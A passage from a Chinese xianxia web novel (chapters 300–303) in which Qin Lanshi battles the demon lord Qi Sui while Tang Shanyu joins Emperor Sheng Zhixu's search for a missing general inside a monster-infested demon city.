“它真的会动?”唐山玉不明所以,指了指这个魔城:“看着不像活的。” “……也可能是死的。”秦兰时看着这个魔城想了想就转头对唐山玉说:“亲爱的,进去后你要时时刻刻跟在我身边哦~” “嗯。”唐山玉点头,他明白自己的实力几斤几两。 “那这个道侣契……”秦兰时还想打个商量。 唐山玉不嗯了。 “…嗯,知道了,我们进去吧。”这次轮到秦兰时嗯了,他带着唐山玉一起走到了魔城门口,正钻研着这个魔城到底怎么开的时候,就看到这大门好像智能地闪了一下,下一刻便芝麻开了门。 “山玉,这种魔城我之前也是进去过,毕竟江垃圾的魔物养殖场也是我需要探索的地方。”秦兰时拉住唐山玉往里走去,一边走一边和唐山玉科普道:“这种魔城用蛮力的确可以从里打破,可后果就是那些魔物不受困地跑出来。” “再者,为了这些魔物在魔城里头乖乖听话,所以江垃圾就在某个魔城里头放一只可以称王称霸的魔物,用来压制那些魔物不要破坏魔城。” “而这魔物……” “没想到是元婴期修为。”顾延清找到了那个一直在魔城里游走的魔物,他此时此刻用的是金丹期的修为。 “头魔吗?”顾延清放开神识感应一下四周,他没有找到一头比这魔物更为强大的存在了,除了不远处正在杀拦路魔物的谢璟。 但与此同时,顾延清心里也一沉,这里的魔物如此多,若是普通修士进来,怕早就成为了这魔物的口粮。 在压制修为与那些魔物打的时候,顾延清受了点伤,而在那血液滴落的时候,顾延清发现这些魔物的视线都聚集在了那血液上。 很显然,这些魔物会为了干饭而努力对修仙者进行攻击,这就导致它们的攻击非常不要命。 …… 那么,先找出这个魔物的弱点吧。 顾延清并没有提高自己的修为,依旧保持在金丹期,因为……如若真的爆发战争,其实金丹期修为是占大多数的。 至于元婴化神级别的……如果这都打不赢,还是不要当元婴化神了,回去种地吧。 第300章 你怎么在这里~ 而这在魔城里游走的魔物形状颇为怪异,数个头颅被黑丝缠绕着身上,那堆头颅中有野兽也有人,若说其像魔,不如更像那枉死的鬼不得超生,最后于此混沌地结合起来,化作更为强大的怨灵。 鬼气与魔气趋于相近,本质上都是因负面情绪而生的气,不过是一死一生的区别罢了。 所以有些魔修会利用鬼来提升自己的实力,因为魔气和鬼气可以共存。 顾延清在看到这魔物的时候,难免有些微愣,只因那魔物的嘶吼里夹杂着几许哭声,孩童的哭声,女人的绝望,男人的不甘,都化作了怨融入了魔物的躯体内。 那么…… 这个魔城里头曾经是怎么样的呢? 或许和外边没什么两样。 该吃吃该喝喝,然后干一天的活计,回到家里享受着那片刻的安宁。 顾延清在那魔物冲过来的那一刻跃至高空,最后落在高处的屋檐上,由此俯瞰着这魔城的全貌,死寂,没有人,唯有这些魔物活动的轨迹,不远处还有几只互相打起来的魔物,甚至在使劲地吞噬对方。 长剑闪烁着青光而出,微弱的风飘至衣摆那,四周飘动着灵力的碎珠,只待此人将这凝聚于剑上这一招挥去,那魔物的头颅抬起头望着这一幕。 空洞的眼中好似迎着那自天而下的剑光逐渐明亮。 …… 盛知许已经带着人进入了城内,手上的红线似乎在因那至亲在此处而微微颤抖着,众人警戒着四周的动静,最后是队长带着人亲自去探查一番回来与盛知许说:“陛下,不远处似乎有人活动过的痕迹。” “去看看。”盛知许闻言往那边望去,而马小桐带着卫朔已经往那边赶过去了。 他们身上都带了不少屏蔽气息的法器,至少目前他们还没有被发现的危险,待过去后,那一路的废墟,还有激烈的灵力打斗残余便可知这里发生了什么。 大家看了这些哪有不知道的,当即有几人拿出追踪法器开始追踪着灵力的痕迹,而那灵力的微丝混在浓郁的黑气里,难以寻得踪迹。 “陛下,我们需要更多的灵力痕迹才能追踪到。”有人过来汇报,并且提议道:“我们打算在附近搜寻一番。” “嗯,注意些,别让那些魔物发现了。”盛知许点点头,然后就目送这人回去干活了,紧接着,他就转头问起了马小桐:“可能卜出方位?” 半吊子的马小桐总觉得自己身上肩负了什么重要的东西,她这种普通命格明明和这些窥探命运的天命的沾不上边,但又能怎么样呢,只能硬着头皮干了。 就在马小桐祈祷天地,开始随地大小卦的时候,盛知许就问起了站在她旁边的卫朔:“你也是问天门弟子吧?你应当也会……?” “不会。”卫朔淡淡地说:“也没练过,更何况我入问天门是因为我的命格太特殊了,他们都想研究才让我入问天门的。” “……真的假的?”盛知许倒是没有听过问天门还有这种入门的情况,因为问天门是一个非常看缘分的门派,当然也看问天技术,不过问天技术好一般也是缘分特别好。 “假的,你就听他说吧,他不卜卦不是不会,只是单纯不敢而已。”马小桐算完了,就拿起她的铜钱起来,她伸了个懒腰,说出的话丝毫不管卫朔的死活。 “嗯,对,小桐你这样说得我很伤心,我可以在这里多逛逛散心吗?”卫朔已经想要单飞了,因为他是一匹爱自由的孤狼。 “不可以,给我老实待我身边。”马小桐选择了强制爱,而卫朔却也乖乖地站在马小桐身边不动,这是非常难得的,难得到马小桐多看了卫朔几眼。 “结果如何?”等俩人交谈完后,盛知许才慢悠悠地问出他关心的问题。 “左边,我算到的在左边。” “左边,我就说左边有东西吧!” 秦兰时说着就要拽着唐山玉往东边去,一边去一边指给唐山玉看:“你看,刚刚是不是有个人影窜过去?肯定是幕后的大boss!” “这个魔城能闪现在魔与凡的边界肯定是有人干的!而且你刚刚也发现了,这魔城和凡间私通了,通过它我们甚至能够去往凡界!” “……”唐山玉选择倾听起秦兰时的古怪用词,并且还点了点头认可它:“是的,它越过了曾经用来阻隔魔界与凡界的结界和凡间偷情。” 秦兰时听到这话就无比自信地拉着唐山玉往他看到的人影所在地窜去:“我感觉到了~这里有三个厉害的大家伙,不过没有关系,我有山玉你在,没有被他们发现呢~” 带上屏蔽法器的唐山玉对此微微一笑。 “那这三个大家伙在哪里呢?”弱小的唐山玉扯一下秦兰时的衣角,然后让人回答他的问题。 “有一个在左边,有一个在右边,还有一个在中间。”秦兰时说着就冲唐山玉眨了眨眼:“我们去的左边那个弱一点,右边那个厉害点,中间那个最厉害,但是它好像没有任何动作。” “你在身边,我们就先去弱一点的那个看看。” “……”唐山玉微笑了一下。 “……我不是说你弱的意思,我是说我们先看看那边最弱的实力,然后我们就再接再励实现在魔城称王称霸的壮举!”秦兰时见人沉默连忙补充了那么一句。 “你还不如不说,显得欲盖弥彰。”唐山玉还是继续微笑,不过笑容显然淡了点,但他还是往秦兰时所说的左边走过去。 “山玉——”秦兰时叫了起来。 “嗯,在呢在呢。”唐山玉敷衍地哄了一声。 而在他们走过去后不久,秦兰时所说的那道人影再度出现在俩人都视线里,那人穿着一件白袍,在漆黑的魔城里看上去还真像个鬼。 这个人戴着面具,而其发出的声音嘶哑难听的:“你们是……?” “你谁啊?怎么一身鬼气的,还戴着面具!说出真实身份,不然我就现在超渡你!”秦兰时伸手一指,正义的七魔主就要开始超渡鬼了。 “……魔修?”那面具人又念道:“还有……” “同伙。”面具缓缓移动,里头的视线似乎落在了唐山玉的身上。 同伙唐山玉在秦兰时的身后探出头来,他看了看这个面具人,面具不认识,声音不认识,人也不认识,于是转头就问秦兰时:“你见过这种面具吗?” “没有,真没有,而且魔界的审美也不是这种平平无奇的面具啊,他们喜欢凶神恶煞的。”秦兰时转头低声和唐山玉说着,而他之所以那么有松懈感,是因为这个鬼似乎是新诞生不久,所以鬼气并不厉害。 简单来说,秦兰时捏一下它就飘了。 面具人看了看这俩人,就偏了一下头,准备去其他地方了,然后就被秦兰时一个闪身拦住了,只见秦兰时笑容灿烂地问道:“走什么?我可没有让你走,你是有神志的对吧?和我说说……” “…你确定?”这个面具人的声音依旧难听。 “我……” 轰的一下,几乎是一瞬间的事,唐山玉转过身去就看到一个有无数个头颅的魔物猖狂路过这里,地面在震动,而与此同时,唐山玉可以清晰地看到自己的数道身影映在了魔物的无数眼睛里。 他只是屏蔽气息,并没有把自己给隐身了。 说那时那时快,就在那魔物的黑丝缠绕在唐山玉身上的时候,秦兰时刷的一下就闪了过来,然后让自身的强烈魔气散发出来,而那魔物感觉到秦兰时那威胁自己的魔气显然也一愣。 它在这里称王称霸久了,很少遇到能够压制自己的了。 秦兰时见它没有退意,便啧了一声,于是就打算抽出剑给这魔物来一下驱逐对方,他们过来这里不是为了打架,而是找人的,而且这个看着像头头的魔物应当有不少小弟才是,到时候喊小弟轮番上来他估计手会打得累死。 而面具人也在这个时候不见了踪影。 …… 就在秦兰时要和这魔物打上的时候,突地,一个小女孩的声音非常突兀地在这里响起,她似乎在困惑着什么:“咦?你怎么在这里?” 秦兰时听到这个声音猛地抬头看过去,然后他看到了坐在高处屋檐上晃着脚丫的小女孩,她看着这里,双目空洞,但是嘴角却不由得微微扬起:“你,在这里做什么?小七。” 秦兰时在那声小七响起来就暗道不好了。 “小七,你要打主人的魔物吗?那可不行。”小女孩从高处缓缓落下,她穿着漂亮的小红袄,扎着双麻花辫,走起路来一晃一晃的。 “你,为什么会在这里呢?” 魔物似乎因为这道声音逐渐往后退去,它特别怂地跑了。 最后,小女孩站在了离秦兰时不远处,笑得极为僵硬地问:“我会告诉主人的,秦,兰,时。” “跑!”秦兰时这下子是真的抽剑出来了,并且头也不回地对唐山玉道:“这个小女孩是……” “六魔主…” 几乎是一阵黑风闪过。 那小女孩突然间就飘在了唐山玉的眼前,这使得唐山玉不由得往后退了一步,并且无比警惕地看着这个小女孩。 “齐穗。” 秦兰时直接举着剑就冲了过来,齐穗侧着身子避开了这一剑,然后秦兰时便借机收了力,那剑锋擦着唐山玉的脸庞而过,接着,他扯住唐山玉的胳膊,把一堆什么疾风符飞天符直直地往唐山玉身上贴去。 “你先走。” 下一刻,唐山玉整个人因为这堆爱的符飞了出去,并且直直地往魔城的另一边飞去。 而这一次,唐山玉也是连一声道别都没来得及说出口。 第301章 悠然挂之 等唐山玉被秦兰时再次送走的时候,尽管秦兰时内心有歉意,但在面对六魔主齐穗之时,这歉意暂且压下。 “……你们身上的味道好像啊。”齐穗嗅了嗅,然后笑着说:“莫不是做了什么契?” “你的话好多,要打就快点打。”秦兰时感应了一下这个魔城,确定这个魔城里头对外边是封闭状态就笑着问道:“虽你排我前面,但是魔主排名并不是按实力分配的。” 比如那个江易年就打不过他。 “嗯,主人的确不擅长此事。”齐穗点点头,然后就笑了,她四周的魔气在翻涌,空气在瞬间凝结:“虽然我也不擅长,但是……” “对付你……”小姑娘抬起手,轻轻朝着秦兰时所在的地方一点:“这个就足够了。” 刹那间,秦兰时感觉到身后似有什么在靠近他,猛地回头便看到一团黑色不明黑泥朝他身上扑来,尽管瞬间唤起藤蔓挡住,但是很快就被那黑泥所侵蚀,很快,防护藤蔓被那个黑泥吃干抹净。 而秦兰时也在这个时候一跃而上,来到了屋顶上,警惕地看着那团黑泥。 这黑泥咕噜咕噜然后重新回到了地里头。 与此同时,那边的齐穗舔了舔嘴角就轻轻地来了一句:“味道一般。” 说完,她一挥手,地上也长出了和秦兰时相似的藤蔓朝其袭去,秦兰时见此再次唤出藤蔓反击回去。 这波冲击直接让整个魔城为此震了好几下。 秦兰时再次闪身到另一个屋顶上,他看着齐穗还站在原地,小姑娘看着小小的,打人可狠了。 而且她的能力实在是棘手。 通过吃掉对方的能力然后复刻相应的能力反击回去,而且复刻得还极为完美,就和自己在打自己一样。 对于这个齐穗,其实秦兰时了解不多,她很多时候都不参与魔主会议,但是他也听闻过,这个齐穗是江易年最为杰出的作品。 一个魔主造了另一个魔主出来。 不得不承认自己打江易年有点像武官打文官,有点不太公平,但是……打坏蛋讲究什么公平。 看到江易年被揍他可开心了。 “注意咯,小七。” 就在秦兰时还在思考对策的时候,就看到齐穗也飞了上来,并且带着藤蔓朝着秦兰时攻击过来,秦兰时刷的一下就举起剑,然后朝着藤蔓的弱点击打过去。 既然复刻了自己的能力,那么他就不信弱点也没复刻上。 果不其然,此处的弱点被一剑扫下后,就猛地断裂开来,而余下的藤蔓也开始往回缩去。 齐穗见此也不急,藤蔓不能用,她还有其他招数没用呢,只见她拍了拍手,那断裂的藤蔓霎时间全都变得干枯,那枯老的藤蔓宛若将死人的残火。 无用的东西理应及时舍弃。 …… “什么动静?”盛礼越猛地抬起头,双目直直地盯着某处,他随后转头问向程启风:“你有没有感觉到什么?” 程启风静心感受了一会儿后就严肃地点点头:“有,好像在不远处,是非常浓郁的黑气,它似乎在朝这边过来,似乎是察觉到我们的存在了。” “全体戒备。”盛礼越将他的长枪再度拿起,然后走出房屋,他仰头看去,似乎看到了什么不可言说的东西那般,狠狠地皱起了眉头。 程启风走了出来,他看不见,但是能够感受到,他说:“礼越,如今要是放任其在凡界随意出入,恐成大祸,必须在这里……” “杀了它。” 只见众人眼前是有着数个头颅的妖魔,也就是秦兰时和唐山玉见过的那个魔物,它此时此刻垂下身子,无数只眼睛正目光炯炯地扫视着这里的人类。 “隐蔽阵法如何?”盛礼越盯着这个魔物,长枪在刹那间燃起了烈火,他的发丝因四周的涌动气流而飘动,呼吸放轻,眼里闪过刹那的狠绝。 “将军,被破坏得只剩下一个了。” “将军,不远处察觉到另一股魔气波动。” “将军,我等誓死追随将军。” 程启风站在这里,急风将他的眼纱轻轻吹落,那双无神的瞳孔在此刻将众人的火光映得极为清晰。 “死劫如期而至。”他用着只有自己可以听清的声音,念着:“但……” 平静无波的水却在此刻泛起了一层涟漪。 “陛下!!我们找到了灵力流动了,将军他们就在那边!!”收集越多留下的灵力波动,他们越能够检测到那些人留下的踪迹,此刻队伍里有人欢呼起来了。 “但与此同时,那里还有着浓郁的黑气,请陛下注意身躯,让我等先去一探!!”那队长坚定地看着盛知许,似乎在等对方的准许。 “小心为上。”盛知许点了点头,然后继续叮嘱道:“法器都带好,遇到打不过的就跑。” “明白!”队长点点头,然后就准备带人过去探探那边的情况。 与此同时,站在旁边的马小桐总觉得有些不对劲,但是她说不出来有什么不对劲的地方,一路下来他们找到了不少盛礼越他们留下的踪迹,不是休整过的营地残留,就是与魔物冲突留下的灵力波动。 就连盛知许手上的那根红线也随着他们深入越发的鲜红。 按理说一切都在往好的方向发展,可为什么,她还是那么不安,好像有什么东西被她忽略了。 “怎么了?”盛知许看到她这个模样,就问了一句:“可是有察觉到什么不对劲的地方?” “……可能是我个人感觉,虽说这种感觉偶尔准偶尔不准,但是……”马小桐笑了笑,然后说:“应该不会有事的,对,不会有事的,我们找到礼越就可以回去了。” 卫朔看了马小桐这边一眼,他的唇微微动了动,似乎要说什么,但最后他只是扫了一眼左边某处,然后继续跟在马小桐的后面,手则默默抚上了腰上的剑柄。 而在众人往前走的时候,方才卫朔看过的那处,一道白色身影逐渐浮现,也不知站在这里多久了。 最后,又随着清风逐渐散去。 …… “你认为你的选择对了吗?” 盛礼越曾被马小桐这般问过,彼时,他们还尚且年少,对于未来没有太多的想法,有的只是明日做什么功课,明日师长会讲什么内容。 “为什么那么问?”盛礼越非常礼貌地笑了一下。 “可是,你明显更喜欢舞刀弄枪啊,这样文绉绉地做医师太不像你了!”马小桐说着,就哎了一声,发出了不懂的声音:“在我们看来,你比那个什么盛知许强一百倍,没必要比!” “你说对吧!启风!”马小桐转头看向坐在那里玩串铜钱很久的的程启风。 “啊?嗯,嗯?”程启风还在专心致志串铜钱呢,听到这句问话,就抬起头面向声音发出的地方,他点点头说:“对。” “一看就没有认真听。”马小桐嘟囔了一句,然后继续说:“你看到没,他算出来你这样下去就会倒霉!!” 程启风玩铜钱的手一顿,很是茫然地说:“我?我没说啊。” “小桐,我要是认可你,你愿意给我烧纸钱……”卫朔不知道什么时候倒挂在窗户那边,并且还伸出手拿了一块放在桌上的点心。 “…不愿意。”马小桐是正常人,她觉得这些话一点都不吉利。 “好了,吃饭吗?我请客。”盛礼越非常巧妙地避开了这个话题,然后试图用金钱让人配合他。 “饭不是最要紧的……”马小桐深深吸一口气…… “但是,你要记得,无论发生什么我们都是你的好队友知道吗?”马小桐左手一只鸡腿,右手一个肉包子,她面对眼前的美食露出了渴望的神情。 “嗯嗯,知道了,吃吧吃吧。”盛礼越右耳进左耳出地点点头,并且手上还拿着今日淘到的古玩在欣赏。 程启风坐在旁边,他一张口,马小桐就把吃的塞上来,照顾盲人人人有责,但是问题是他自己能吃。 卫朔看着这些吃的,就在计算着要是全部吃完是不是能获得撑死鬼的成就。 所以呢,你的选择是对的吗? 这个问题到最后盛礼越也没回答。 一切交给时间即可。 “礼越,我们的时间不多了。”程启风的声音似乎从远到近,其语气的无奈让人无法忽视。 “有把握吗?”盛礼越听到自己的声音那么问着。 “有。”程启风语气笃定道。 “有代价吗?”盛礼越笑了一下。 “没有。”程启风依旧肯定着。 “……呵。”盛礼越略有无奈,随后说:“你知不知道…其实你自己……有些时候,真的很不会说谎。” 程启风没回答。 最后,只有一片无声。 …… 唐山玉飞了出去,飞出去后他在想他会飞到什么时候落地。 风很急,但是唐山玉的内心却是难得的淡然,有一种好像意料之中的无奈和看破红尘。 因为真正的心寒不是大吵大闹。 总之,在唐山玉成功落地的时候,他已经飞到了离秦兰时直线最远的距离,并且挂在了另一边的城墙上。 在此过程中,他还抽空在高空上看一眼魔城的结构,很好,地图记好了,接下来就不会走错路了。 原来这个魔城是有两个门的啊。 还是个双面派。 唐山玉倒挂在城墙上的时候还有闲情逸致地这样想。 正挂着时,他注意到方才见过的那头魔物也从另一边来了这里,并且看上去还有些犹豫,好似如果要进入这里就会遭遇什么那样。 但是另一边的打架之疯狂让它不由得过来这里暂且避避风头。 果真是神仙打架,凡魔遭殃啊。 唐山玉不免因自己这个想法笑出了声,紧接着,他又在高空中看到那魔物最后还是进去了,与此同时,另一边还有一帮人马正小心谨慎地往魔物那边走去。 呀,这就是传说中的拐角遇到爱吗? 有趣有趣…… 然后,唐山玉继续倒挂城墙,并且大有一副秦兰时不过来他就不下去的架势 第302章 鬼道友你好 队长带着人往前探去,他并未寻到将军的踪迹,而在一片漆黑里,他看到了一个东西趴在屋顶上,魔物那无数个头颅低垂着,它们显得有些拥挤,细看下似有无数人体纠缠在一起。 此等魔物形态实在让人无法忽视,队长可以从随身携带的探查魔气的法器里看出此魔物的魔气值之超标。 众人的呼吸也随之轻缓,生怕那魔物透露出几分弑杀恐状,他们决定先往回走去,与陛下禀报一番,可奈何那魔物似有所觉,在那无数个头颅抬起的瞬间,那无数条赤裸裸的视线便将众人所包裹。 裸露在外的肌肤已然生起寒意,心间的恐惧将众人的步伐静止,彼此间的呼吸交织着,随着那一声细碎的瓦砾从空中尘落,那无数个头颅伸长了脖颈,如潮水般朝着众人涌来。 “快跑!!!”队长当即喊了出声,并且指挥大家使用护体法器,将法器的能力放至最大,不然恐不能挡下这万鬼头的魔物。 说那时那时快,一道炽热的烈火横行而至,直直在众人与那魔物之间燃起一道焰壁。 那魔物见到这火焰居然有几分惧意,愣是不敢上前,而众人也在这个时候看到了一位从天而降的男子,他背后的赤红羽翼渐消了去并且随即融入身后的焰壁里。 “您…您是…?”队长小心翼翼地问道。 “往回走,它暂且不敢过来。”唐山玉对自己这火还是有几分自信的,这可是他给那个什么光球当牛马多年换来的,反正魔物对这火有一种天然恐惧就是了。 “…是,多谢这位仙师相助……”他们点点头,就准备回去了,只是那队长还有几分顾虑地问着:“敢问仙师是……?” “你们陛下的友人。”唐山玉看一眼这朝国军打扮的队长,心里已有数,他略微点头答了一句,好让这位队长安心些。 队长听到对方那么答心里落了一点,当然也就一点,他知晓自己等人应是打不过这位仙师,于是在回去的路上全程在警惕地看着唐山玉,并且打算若人要动,自己肯定要把所有的法器往这人身上砸去,护好陛下。 直到盛知许对唐山玉露出惊喜的表情后,这颗心才算落了下来,可与此同时,唐山玉还发现这里不只有盛知许,还有两个有过几面之缘的问天门道友。 …还有一只不知道从哪里窜出来的白衣面具鬼,这个鬼怎么和之前看到的有点像。 “你是……?”马小桐看看盛知许那轻松样,便开口问了。 “这位是……?”唐山玉看了看那白衣鬼,也开口问了。 俩人不约而同地先出声都互相愣了一下,然后唐山玉拱手一礼说:“在下只是一介散修,亦是陛下的好友,这位道友莫忧。” “啊哦,好的,这个是说自己是个在魔城里躲了好久终于看到活人的鬼魂,他看着鬼很清醒,没有被魔气变成彻底的魔物,而我们正想问问这个魔城的具体情况。”马小桐指了指那个白衣鬼给唐山玉解释道。 “你好……”这个白衣鬼声音沙哑地开口了,这声音很是难听。 唐山玉看一眼,便在心里想着这鬼从另一边来到这边也挺快的,自己是被秦兰时推飞出去的,这鬼可能是自己飘过来的。 “既如此,这位鬼兄可知道些什么?”唐山玉无比自然地往盛知许旁边一站,然后开始问话了。 盛知许看了他一眼,就也将视线放在这位突然出现的白衣鬼兄身上。 “是这样,我死了有好些天了,但对于这个魔城我却是了解得不多,主要是一直躲着那些魔物避免被吃掉花了不少心思。”这个鬼兄说到这里就有些无奈。 “那把你能知道的事都说出来就好。”唐山玉说着,然后扫了一眼这个魔城,继续道:“比如那三股凶险的魔气到底分别是谁的?” “咦?你能感觉到吗?我们目前也就感觉到一股。”马小桐有些惊喜地道:“看来散修道友你的灵识范围很大啊,甚至感应能力很强,这里的魔气过于浓郁可让人犯愁了,对我们来说很难感应得出来。” “…是呀。”唐山玉并没有说这都是秦兰时感应出来的,这可是入魔化神的实力,不过一想到秦兰时,唐山玉说话的语气就淡了些:“所以,鬼兄,啊不,鬼道友可能贴切点 你在魔城能察觉出来这些吗?” “…散修道友说得很对,此地的确有三股凶险的魔气……”鬼道友顿了顿,不经意地看了一眼唐山玉然后说:“不过现在可能变成四股了。” “那你先说说你知道的。”唐山玉面不改色地被看了一眼,继续问道。 “魔城里有三头魔物,分别占于三处,最厉害的本来在魔城中心的位置,但如今它似乎跑到了另一边。”鬼道友慢慢地给他们解释起魔城的凶险来,并且还指了指那个魔物如今在的方位。 “我们这边本来是只有一头魔物的。”说着,鬼道友有些无奈地道:“那个魔物也是我想要让你们解决的,但如今好像有些困难。” “怎么说?”盛知许挑了挑眉,继续问他:“比起这个,除了我们外,你可曾见到其他活人。” “…有的。”那鬼道友顿了顿,然后说:“的确有其他活人在,但我并未清楚他们目前具体的方位。” “真的…?”盛知许看着这个鬼道友,轻轻皱眉。 “既然这样,那个魔物的话题继续吧。”唐山玉想了想然后接下那个话题:“其实我在过来前就看到那魔物了,先简称它为万头鬼吧,它不是你想要请求我们解决掉的魔物?” “是也不是,那个只是顺带。”鬼道友摇了摇头,继续说:“还有,你们最好不要去另一边了,那边现在在打架比较混乱,不过这里也不安全。” “……说难听点,就是哪里都会死是吧?”马小桐幽怨地看了一眼兴高采烈的卫朔,立马在下边踹了人的小腿一脚。 “嗯,另一边死更快些。”鬼道友点点头。 “我觉得也是。”唐山玉也跟着点点头,毕竟两个魔主在那边打架呢。 “我大概明白了。”盛知许叹了口气,然后说:“无论哪边都是王与王相争的局面,对吗?” “可以那么理解。”鬼道友点点头,笑了一声:“目前我们的处境较为平静,不过是这两头魔物还未打起来的缘故。” “那我们是不是要先安安静静地等它们打起来再坐收渔翁之利?”马小桐觉得现在正是施展兵法的好机会。 “…能这样是最好的,但是如果它们打起来……”鬼道友还没说完,另一边的战斗则激烈得让整座魔城狠狠抖了好几下。 人们不由得往另一边看去可以看出那边的房屋已经少了一大半了,夷为平地的壮举看起来上演了好几次,而还有一大半是那两个家伙还没打到的缘故。 “就像这样,它们打起来可能也不太管我们死活。” “那我们能怎么办?”马小桐唯唯诺诺地收回了视线,并且还在担心:“礼越他们不会在另一边吧?” “不,应该在这里。”盛知许举起那红线晃了晃说:“它还很亮。” 鬼道友看了一眼那红线,然后慢悠悠地继续说:“诸位可以先休息再看看,目前不是还没打起来嘛?” “可要是打起来了怎么办?”马小桐听到这话急眼了一下:“我们是不是要被埋在土里了!” “到时候再说?要不你给自己算一下会不会真的埋土里?”鬼道友指了指马小桐手上的铜钱,温和地提着建议。 “不要,算出来真埋土里我会很害怕的!”马小桐疯狂摇了摇头。 “那你给我算算我会不会埋土里吧?”卫朔眼神闪亮地登场了,并且兴致勃勃地指了指自己。 “……我不要——” …… “他的话有几分真几分假?”盛知许看了看那边还在讨论要不要算命的俩人一鬼,就朝旁边问出了声。 “半真半假。”唐山玉接下了这个话,并且抬手抚去肩上方才落下的灰,他很是平静地继续道:“另一边在打架的是两个魔主,所以这里才安全点。” “你可有什么计划?”盛知许抱臂侧头看一眼唐山玉。 唐山玉笑了一下,然后说:“这魔城留着是个隐患,陛下你觉得呢?” “朕觉得应该诛魔城九族。”盛知许绷了那么久的神经后终于放松了点,并且开了个小玩笑。 第303章 不能死 “我觉得礼越是往这边走的!这里有他留下的枪痕!!”马小桐指着地上的那道痕迹,声音铿锵有力地说。 “不,按照将军的习性,如果为了躲避那魔物的追踪,他一般会反走。”队长摇了摇头,出于军人的经验,他觉得将军会反其道而行。 “我们来算一下吧。”鬼道友不知道什么时候融入其中,并且还在兴致勃勃地提议道。 卫朔很是无聊地站在旁边看,只不过视线时不时落在鬼道友身上,很可能在羡慕对方不出来鬼。 众人商讨完后决定找到盛礼越等人再做打算,为此在两个魔物还没打起来的时候就抓紧时间快快把人找到。 既然另一边在打架,怎么说也算是缩小了范围。 而唐山玉则和盛知许走在一块,只不过他时不时往另一处激烈的战场瞧上几眼,见还在打就继续放下心来继续跟着他们找人。 虽说有这道侣契在,但人总是要亲眼见到没事才心安。 不过与此同时他也在想着其他事情,根据盛知许所说,他们是从凡界找到魔城进来的,而他和秦兰时是从魔界里头过来的,可以看出这个魔城怕是魔族新的进入凡界方法。 “你觉得那个人为何引你们入内?”唐山玉觉得盛礼越和盛知许来到这个魔城怕是早有预谋,先弄将军再弄皇帝?还是单纯只是…… 不远处,魔物正在互相撕咬着,胜者品尝败者血肉。 养蛊? 看着也很像。 还是说……单纯把人喂给魔物吃? 算了,反正不管怎么样,这背后之人肯定不怀好意。 “不知,但……”盛知许轻轻皱眉,然后说:“这魔城若我们能出去,我定会书信于各大门派,让其派人来解决。” “陛下为了手足亲自前来倒是让我有些意外。”唐山玉说着,然后侧头看一眼盛知许,眼里带着几分好奇:“位置不坐了?” 堂堂皇帝以身犯险。 “…因为只有我能找到他。”盛知许抬起手,手腕上那根红绳刺目得如同滴血般:“同时,他于我已经是世上唯一的至亲。” 百年过去,熟悉的凡间血亲都化作了尘土,留下来的不过是他们的后人,虽有着熟悉的样貌,但归根结底,已不是那个人。 所以,如若有能伴随着你长生的家人,那真的是弥足珍贵。 “我明白了,对了,你觉得那个鬼道友的身份,我觉得他……”唐山玉刚想说点什么,就猛然间抬头一看,只看见那万头鬼正爬在屋顶上,直勾勾地看着他和盛知许:“……它怎么找过来……” 明明屏蔽法器都生效了。 就在这一刻,士兵里有人发出了一阵哀嚎,原来是他的身体不知何时从内里长出丝线分解着,最后,那丝线自人的嘴中长出,包裹住他的脑袋,将这人最后的一声呼唤蚕食干净。 所有人屏住呼吸,他们并不知道这个人到底是怎么中招的,唯恐一出声下一个中招的就是他们。 双方都没有动。 …… 先动的是唐山玉,他果断地就地燃起火焰,直直地朝着那魔物袭去,可那魔物尽管有些害怕,但它更想要吃饭,就这样本能驱使着它突破恐惧。 唐山玉眼睁睁看着它和饭的羁绊突破了自己的火焰防线,就连忙拉着盛知许往旁边一躲,那魔物扑了个空,然后埋头耕耘一下坍塌的废墟。 人们看着它屁股一扭,无数个脑袋从地上拔起,柔软地扭个腰,旋转一下脑袋,这些眼睛就这样与众人对视了个彻底。 “……”魔物的眼神是赤裸裸的。 “……”众人的眼神是惊恐的。 “快走啊!!!!” 打不过还不能跑了吗!! 两边人马顿时分散开来,分别是马小桐和卫朔为首的,还有唐山玉和盛知许为首的两支队伍。 那么,接下来这万头鬼到底要追哪边呢? 答案是——— 好欺负的马小桐和卫朔这一边! 马小桐见这该死的魔物毫不犹豫就挑软柿子捏,当即就要骂出声,可下一刻卫朔执着剑冲了上去,凝聚剑气横扫过去。 那魔物感觉到了攻击,本能往旁边一躲,随后它就被那旁边的断壁残垣给绊了一下,身形一个踉跄后,卫朔就落了地,拉住马小桐直接往旁边跑去。 而那些被划分到他们这一块的士兵则紧紧跟了上去。 唐山玉见此就把视线投向那站在原地一动不动的鬼道友身上,趁着那魔物稳住身形去追马小桐等人的间隙,就跑过去问道:“你还知道什么?” 因为这个鬼道友完全被那个魔物无视了,根本就不似他所说的躲着魔物隐藏自己。 “…它更喜欢活人才没有追我的。”鬼道友举起手表示自己的无辜,然后继续道:“平时它都是生吃魔物的,只是你们比较香一点。” “那你一动不动还挺淡定啊。”唐山玉微微一笑,继续问道:“你不会打着把我们都送进这魔物嘴里,填饱了肚子就不会吃你的心思吧?” “怎么会呢,我是真心想要帮忙的。”鬼道友摇了摇头,然后说:“比起这个,我们先去看看那些被追的人情况吧?” 这话倒也有几分道理。 而且也是半真半假,让人听不出其真心。 唐山玉看了一眼盛知许,盛知许点点头,随后就对身后的士兵开口道:“我们追上去。” 接着,唐山玉拿出捆鬼专用的绳索捆住了鬼道友,然后拉着鬼往马小桐等人逃窜的方向奔去。 众人追上去的时候经过了不少房屋废墟,一路上,那魔物所造成的损坏都展现在人们的眼里,可以看出这个魔物的破坏力极强。 “…不,不行了,我跑不动了,这里魔气浓郁,我压根都不敢用灵力,生怕用了就没了。”所以马小桐全靠自己双腿跟上剑修卫朔的步伐的。 卫朔看了一眼,就将马小桐一把拉至身后,马小桐来到他身后就立马拿出武器,并且开始灵力护体模式。 “没事,现在也不能再跑了。”卫朔看了看其他人的体力,他们不是凡人就是修为比马小桐低,能跟到现在都算不错了。 再跑下去体力耗尽就惨了。 “…这里能打死它?”马小桐看看周围,然后说:“我发现你好像带着我们经过这里几次了。” “不一定,因为有人试图在这里也没杀死它,你可以看看周遭的灵力,或许是礼越他们残留下来的。”卫朔摇了摇头。 “……那么,礼越在哪里?”马小桐握紧了手里的双锤,心里很是不安。 “不重要。”卫朔拔出了剑,指向那跟来的魔物,别看他整天要死的,其实他还是个剑修:“你先跑吧,反正我不怕死,你不是很怕死吗?” “…什么?”马小桐闻言一愣。 你那是不怕死吗?你那是渴望死!! 